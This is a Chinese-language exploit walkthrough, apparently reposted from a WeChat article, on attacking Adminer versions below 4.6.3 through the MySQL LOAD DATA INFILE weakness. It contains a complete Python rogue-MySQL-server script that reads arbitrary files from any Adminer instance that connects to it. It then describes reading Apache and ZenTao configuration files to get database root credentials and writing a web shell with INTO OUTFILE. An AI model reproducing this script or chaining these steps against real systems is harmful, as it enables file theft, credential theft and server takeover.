https://mp.weixin.qq.com/s/Ae3b83hXgjAeWyy6PoKiUQ
前提
/adminer/ <Adminer4.6.3
INTO OUTFILE
利用
这里是利用 MySQL 反制的思路,在我们服务器上搭建一个 MySQL 蜜罐,让数据库连接平台反向来连接我们的蜜罐地址,这样我们就可以反向读取到他们服务器上的文件
这个任意文件读取漏洞来源于MySQL "LOAD DATA INFILE" 安全问题,Adminer 4.6.3 版本中已经修复了此问题,我们这里遇到的 Adminer 版本为 4.3.1
漏洞利用首先需要伪造一个恶意的 MySQL 公网服务器,网上有人用 Python 写了个 MySQL 蜜罐脚本,源码如下:
使用方法:python2 exp.py 3307
# -*- coding: utf-8 -*-
import socket
import os
import sys
#--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#--------------------------------------------------------------------------------------------------------------------
def mysql_get_file_content(sv, filename):
conn, address = sv.accept()
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(9999)
conn.close()
if len(content) > 4:
with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
txt.write(content)
return True
else:
return False
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port)
while True:
filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = mysql_get_file_content(sv, filename)
if res:
print "Read Success! ---> "+filename
else:
print "Not Found~ ---> "+filename
启动成功后,我们回到 Adminer 进行连接,服务器填写这台服务器的 IP,账号密码任意,点击登录即可
读取到的文件会在当前目录下新建一个 log 文件夹进行保存
尝试读取 Apache 默认配置文件路径:D:xamppapacheconfhttpd.conf
查看 Apache 配置文件得到禅道的绝对路径:D:/xampp/zentao/www/
禅道默认数据库配置文件地址如下:D:xamppzentaoconfigmy.php
现在我们拿到了数据库的 root 账号,Getshell 的思路就是登录 Adminer 执行 SQL 语句,使用 INTO OUTFILE 直接写 shell